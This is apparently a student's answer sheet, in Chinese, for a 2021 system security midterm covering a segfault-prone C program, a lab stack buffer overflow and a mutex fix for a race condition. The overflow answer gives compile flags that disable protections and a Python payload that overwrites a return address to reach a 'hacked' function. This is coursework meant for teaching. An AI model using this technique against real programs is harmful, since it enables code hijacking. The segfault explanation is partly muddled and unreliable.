# 2021 系統安全 - 期中考 (4/19) ## 1. Segfault ``` c #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { unsigned short s; int i; char *buf = "Hello, try to make a segmentation fault to me."; char *buf2; if(argc < 2) { printf("Usage: %s <the length of string>\n", argv[0]); return -1; } i = atoi(argv[1]); s = i; if(s > 47){ printf("The string length is only %d!\n", sizeof(buf)); return -1; } printf("The length of output string you like: %d\n", s); memcpy(&buf2, &buf, i); buf[i] = '\0'; printf("Truncated string: %s\n", buf2); return 0; } ``` ### (1) ![](https://i.imgur.com/99oHRBf.jpg) ![](https://i.imgur.com/MIDJm6b.jpg) ![](https://i.imgur.com/4S83PFB.jpg) ![](https://i.imgur.com/fNXJUPH.jpg) ### (2) 將 `buf` 和 `buf2` 都改為指標型態 `buf[46]` 改為 `*buf` `buf2[46]` 改為 `*buf2` `memcpy(buf2, buf, i);` 改為 `memcpy(&buf2, &buf, i);` **Segmentation fault 主要原因是** `buf[i] = '\0';` 因為 `buf` 宣告時候沒規定大小導致 i > buf的空間,造成溢出 ## 2. Hack Me ### (1) ![](https://i.imgur.com/5xY6fBX.jpg) ![](https://i.imgur.com/J5fvTOK.jpg) ![](https://i.imgur.com/uGoDScI.jpg) ![](https://i.imgur.com/YGJXce0.jpg) ### (2) **1.** 先進行編譯,編譯時取消Stack保護 `gcc -fno-stack-protector -g -o bufovflow bufovflow.c -no-pie` **2.** 用 disas hecked找到開始的地址 **3.** 再使用 python 進行執行程式數據分配及輸入hacked地址 `python3 -c 'print ("A"*(16+8) + "\x7a\x11\x40\x00\x00\x00\x00\x00")' | ./bufovflow` hacked 地址 `0x0000000000401176` 或 `0x000000000040117a` 都可以成功 hacked ## 3. Multi-Thread Race Condition ### (1) ![](https://i.imgur.com/QpupRhw.jpg) ![](https://i.imgur.com/AF3sGXS.jpg) ![](https://i.imgur.com/2SfncMY.jpg) ### (2) ![](https://i.imgur.com/HNd42zS.jpg) ![](https://i.imgur.com/jOoCgxU.jpg) ![](https://i.imgur.com/2GvGwtO.jpg) ### (3) 修正後的程式 ``` c #include <stdio.h> #include <pthread.h> #include <unistd.h> pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER; int counter = 0; void* childthread() { int i, tmp; for(i = 0; i < 3; ++i) { pthread_mutex_lock(&mutex1); tmp = counter; sleep(1); counter = tmp + 1; printf("Counter = %d\n", counter); pthread_mutex_unlock(&mutex1); } pthread_exit(NULL); } int main() { pthread_t t1, t2; pthread_create(&t1, NULL, childthread, NULL); pthread_create(&t2, NULL, childthread, NULL); pthread_join(t1, NULL); pthread_join(t2, NULL); return 0; } ``` 新增一個 `pthread_mutex_t mutex1 = PTHREAD_MUTEX_INITIALIZER;` 為 thread 的鎖 然後在每個子 thread 中要計算counter之前用 `pthread_mutex_lock(&mutex1);` 將他鎖住,在同一時間只能有一個 thread 有權限讀寫 counter 直到印出後用 `pthread_mutex_unlock(&mutex1);` 解除鎖定